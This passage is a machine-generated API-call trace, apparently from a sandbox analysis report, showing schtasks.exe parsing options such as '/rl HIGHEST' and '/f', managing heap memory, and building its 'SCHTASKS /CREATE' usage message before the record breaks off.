lstrlenW (lpString="|query|") returned 7 [0069.236] lstrlenW (lpString="|rl|") returned 4 [0069.236] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0069.236] SetLastError (dwErrCode=0x490) [0069.236] lstrlenW (lpString="change") returned 6 [0069.236] lstrlenW (lpString="change") returned 6 [0069.236] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] lstrlenW (lpString="rl") returned 2 [0069.236] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.236] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.236] lstrlenW (lpString="|change|") returned 8 [0069.236] lstrlenW (lpString="|rl|") returned 4 [0069.236] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0069.237] SetLastError (dwErrCode=0x490) [0069.237] lstrlenW (lpString="run") returned 3 [0069.237] lstrlenW (lpString="run") returned 3 [0069.237] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] lstrlenW (lpString="rl") returned 2 [0069.237] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.237] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.237] lstrlenW (lpString="|run|") returned 5 [0069.237] lstrlenW (lpString="|rl|") returned 4 [0069.237] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0069.237] SetLastError (dwErrCode=0x490) [0069.237] lstrlenW (lpString="end") returned 3 [0069.237] lstrlenW (lpString="end") returned 3 [0069.237] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] lstrlenW (lpString="rl") returned 2 [0069.237] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.237] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.237] lstrlenW (lpString="|end|") returned 5 [0069.237] lstrlenW (lpString="|rl|") returned 4 [0069.237] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0069.237] SetLastError (dwErrCode=0x490) [0069.237] lstrlenW (lpString="showsid") returned 7 [0069.237] lstrlenW (lpString="showsid") returned 7 [0069.237] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] lstrlenW (lpString="rl") returned 2 [0069.237] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.237] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.237] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.237] lstrlenW (lpString="|showsid|") returned 9 [0069.238] lstrlenW (lpString="|rl|") returned 4 [0069.238] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="/rl") returned 3 [0069.238] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="/rl") returned 3 [0069.238] GetProcessHeap () returned 0x130000 [0069.238] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14ddd0 [0069.238] GetProcessHeap () returned 0x130000 [0069.238] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce90 [0069.238] SetLastError (dwErrCode=0x0) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="HIGHEST") returned 7 [0069.238] lstrlenW (lpString="-/") returned 2 [0069.238] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="HIGHEST") returned 7 [0069.238] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0069.238] SetLastError (dwErrCode=0x490) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="HIGHEST") returned 7 [0069.238] GetProcessHeap () returned 0x130000 [0069.238] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x10) returned 0x14d620 [0069.238] GetProcessHeap () returned 0x130000 [0069.238] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cec0 [0069.238] SetLastError (dwErrCode=0x0) [0069.238] SetLastError (dwErrCode=0x0) [0069.238] lstrlenW (lpString="/f") returned 2 [0069.238] lstrlenW (lpString="-/") returned 2 [0069.239] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.239] lstrlenW (lpString="?") returned 1 [0069.239] lstrlenW (lpString="?") returned 1 [0069.239] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] lstrlenW (lpString="f") returned 1 [0069.239] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.239] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.239] lstrlenW (lpString="|?|") returned 3 [0069.239] lstrlenW (lpString="|f|") returned 3 [0069.239] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0069.239] SetLastError (dwErrCode=0x490) [0069.239] lstrlenW (lpString="create") returned 6 [0069.239] lstrlenW (lpString="create") returned 6 [0069.239] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] lstrlenW (lpString="f") returned 1 [0069.239] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.239] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.239] lstrlenW (lpString="|create|") returned 8 [0069.239] lstrlenW (lpString="|f|") returned 3 [0069.239] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0069.239] SetLastError (dwErrCode=0x490) [0069.239] lstrlenW (lpString="delete") returned 6 [0069.239] lstrlenW (lpString="delete") returned 6 [0069.239] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] lstrlenW (lpString="f") returned 1 [0069.239] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.239] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.239] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.239] lstrlenW (lpString="|delete|") returned 8 [0069.240] lstrlenW (lpString="|f|") returned 3 [0069.240] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0069.240] SetLastError (dwErrCode=0x490) [0069.240] lstrlenW (lpString="query") returned 5 [0069.240] lstrlenW (lpString="query") returned 5 [0069.240] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.240] lstrlenW (lpString="f") returned 1 [0069.240] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.240] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.240] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.240] lstrlenW (lpString="|query|") returned 7 [0069.240] lstrlenW (lpString="|f|") returned 3 [0069.240] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0069.240] SetLastError (dwErrCode=0x490) [0069.240] lstrlenW (lpString="change") returned 6 [0069.240] lstrlenW (lpString="change") returned 6 [0069.240] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.240] lstrlenW (lpString="f") returned 1 [0069.240] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.240] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.240] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.240] lstrlenW (lpString="|change|") returned 8 [0069.240] lstrlenW (lpString="|f|") returned 3 [0069.240] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0069.240] SetLastError (dwErrCode=0x490) [0069.240] lstrlenW (lpString="run") returned 3 [0069.240] lstrlenW (lpString="run") returned 3 [0069.240] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] lstrlenW (lpString="f") returned 1 [0069.241] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.241] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.241] lstrlenW (lpString="|run|") returned 5 [0069.241] lstrlenW (lpString="|f|") returned 3 [0069.241] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0069.241] SetLastError (dwErrCode=0x490) [0069.241] lstrlenW (lpString="end") returned 3 [0069.241] lstrlenW (lpString="end") returned 3 [0069.241] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] lstrlenW (lpString="f") returned 1 [0069.241] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.241] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.241] lstrlenW (lpString="|end|") returned 5 [0069.241] lstrlenW (lpString="|f|") returned 3 [0069.241] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0069.241] SetLastError (dwErrCode=0x490) [0069.241] lstrlenW (lpString="showsid") returned 7 [0069.241] lstrlenW (lpString="showsid") returned 7 [0069.241] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] lstrlenW (lpString="f") returned 1 [0069.241] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.241] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.241] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|f|") returned 3 [0069.241] lstrlenW (lpString="|showsid|") returned 9 [0069.241] lstrlenW (lpString="|f|") returned 3 [0069.241] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0069.241] SetLastError (dwErrCode=0x490) [0069.242] SetLastError (dwErrCode=0x490) [0069.242] SetLastError (dwErrCode=0x0) [0069.242] lstrlenW (lpString="/f") returned 2 [0069.242] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0069.242] SetLastError (dwErrCode=0x490) [0069.242] SetLastError (dwErrCode=0x0) [0069.242] lstrlenW (lpString="/f") returned 2 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14ddf0 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cef0 [0069.242] SetLastError (dwErrCode=0x0) [0069.242] GetProcessHeap () returned 0x130000 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c2e0) returned 1 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c2e0) returned 0x8 [0069.242] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c2e0 | out: hHeap=0x130000) returned 1 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10) returned 1 [0069.242] GetProcessHeap () returned 0x130000 [0069.242] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd10) returned 0x20 [0069.243] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd10 | out: hHeap=0x130000) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c370) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c370) returned 0xe [0069.243] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c370 | out: hHeap=0x130000) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd40) returned 0x20 [0069.243] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd40 | out: hHeap=0x130000) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c390) returned 1 [0069.243] GetProcessHeap () returned 0x130000 [0069.243] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c390) returned 0x8 [0069.244] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c390 | out: hHeap=0x130000) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd70) returned 0x20 [0069.244] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70 | out: hHeap=0x130000) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3b0) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c3b0) returned 0xe [0069.244] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3b0 | out: hHeap=0x130000) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cda0) returned 1 [0069.244] GetProcessHeap () returned 0x130000 [0069.244] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cda0) returned 0x20 [0069.245] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cda0 | out: hHeap=0x130000) returned 1 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3d0) returned 1 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c3d0) returned 0x8 [0069.245] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3d0 | out: hHeap=0x130000) returned 1 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cdd0) returned 1 [0069.245] GetProcessHeap () returned 0x130000 [0069.245] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cdd0) returned 0x20 [0069.246] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cdd0 | out: hHeap=0x130000) returned 1 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3f0) returned 1 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c3f0) returned 0x6 [0069.246] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c3f0 | out: hHeap=0x130000) returned 1 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce00) returned 1 [0069.246] GetProcessHeap () returned 0x130000 [0069.246] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce00) returned 0x20 [0069.247] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce00 | out: hHeap=0x130000) returned 1 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c410) returned 1 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c410) returned 0x8 [0069.247] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c410 | out: hHeap=0x130000) returned 1 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce30) returned 1 [0069.247] GetProcessHeap () returned 0x130000 [0069.247] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce30) returned 0x20 [0069.248] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce30 | out: hHeap=0x130000) returned 1 [0069.248] GetProcessHeap () returned 0x130000 [0069.248] GetProcessHeap () returned 0x130000 [0069.248] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147c00) returned 1 [0069.248] GetProcessHeap () returned 0x130000 [0069.248] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147c00) returned 0x34 [0069.249] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147c00 | out: hHeap=0x130000) returned 1 [0069.249] GetProcessHeap () returned 0x130000 [0069.249] GetProcessHeap () returned 0x130000 [0069.249] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce60) returned 1 [0069.249] GetProcessHeap () returned 0x130000 [0069.249] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce60) returned 0x20 [0069.250] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce60 | out: hHeap=0x130000) returned 1 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddd0) returned 1 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ddd0) returned 0x8 [0069.250] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddd0 | out: hHeap=0x130000) returned 1 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce90) returned 1 [0069.250] GetProcessHeap () returned 0x130000 [0069.250] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce90) returned 0x20 [0069.250] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce90 | out: hHeap=0x130000) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d620) returned 0x10 [0069.251] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620 | out: hHeap=0x130000) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cec0) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cec0) returned 0x20 [0069.251] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cec0 | out: hHeap=0x130000) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddf0) returned 1 [0069.251] GetProcessHeap () returned 0x130000 [0069.251] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ddf0) returned 0x6 [0069.252] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddf0 | out: hHeap=0x130000) returned 1 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cef0) returned 1 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cef0) returned 0x20 [0069.252] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cef0 | out: hHeap=0x130000) returned 1 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0) returned 1 [0069.252] GetProcessHeap () returned 0x130000 [0069.252] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bab0) returned 0x18 [0069.252] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0 | out: hHeap=0x130000) returned 1 [0069.253] SetLastError (dwErrCode=0x0) [0069.253] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0069.253] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0069.253] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0069.253] VerifyVersionInfoW (in: lpVersionInformation=0xdc5d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc5d0) returned 1 [0069.253] SetLastError (dwErrCode=0x0) [0069.253] lstrlenW (lpString="create") returned 6 [0069.253] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0069.253] SetLastError (dwErrCode=0x490) [0069.253] SetLastError (dwErrCode=0x0) [0069.253] lstrlenW (lpString="create") returned 6 [0069.253] GetProcessHeap () returned 0x130000 [0069.253] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cef0 [0069.253] GetProcessHeap () returned 0x130000 [0069.253] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d620 [0069.253] _memicmp (_Buf1=0x14d620, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.253] GetProcessHeap () returned 0x130000 [0069.253] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d640 [0069.253] SetLastError (dwErrCode=0x0) [0069.253] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.253] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0069.253] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0069.254] GetProcessHeap () returned 0x130000 [0069.254] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x74e) returned 0x14ddd0 [0069.254] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x14ddd0 | out: lpData=0x14ddd0) returned 1 [0069.254] VerQueryValueW (in: pBlock=0x14ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc6b8, puLen=0xdc720 | out: lplpBuffer=0xdc6b8*=0x14e16c, puLen=0xdc720) returned 1 [0069.254] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.254] _vsnwprintf (in: _Buffer=0x14bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc698 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0069.255] VerQueryValueW (in: pBlock=0x14ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc728, puLen=0xdc718 | out: lplpBuffer=0xdc728*=0x14df98, puLen=0xdc718) returned 1 [0069.255] lstrlenW (lpString="schtasks.exe") returned 12 [0069.255] lstrlenW (lpString="schtasks.exe") returned 12 [0069.255] lstrlenW (lpString=".EXE") returned 4 [0069.255] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0069.255] lstrlenW (lpString="schtasks.exe") returned 12 [0069.255] lstrlenW (lpString=".EXE") returned 4 [0069.255] lstrlenW (lpString="schtasks") returned 8 [0069.255] lstrlenW (lpString="/create") returned 7 [0069.255] _memicmp (_Buf1=0x14bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.255] _vsnwprintf (in: _Buffer=0x14bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc698 | out: _Buffer="schtasks /create") returned 16 [0069.255] _memicmp (_Buf1=0x14bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.255] GetProcessHeap () returned 0x130000 [0069.255] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cec0 [0069.255] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.255] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0069.255] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0069.255] GetProcessHeap () returned 0x130000 [0069.255] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x30) returned 0x147c00 [0069.255] _vsnwprintf (in: _Buffer=0x14c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc698 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0069.255] GetProcessHeap () returned 0x130000 [0069.255] GetProcessHeap () returned 0x130000 [0069.255] HeapValidate (hHeap=0x130000, dwFlags=0x0, 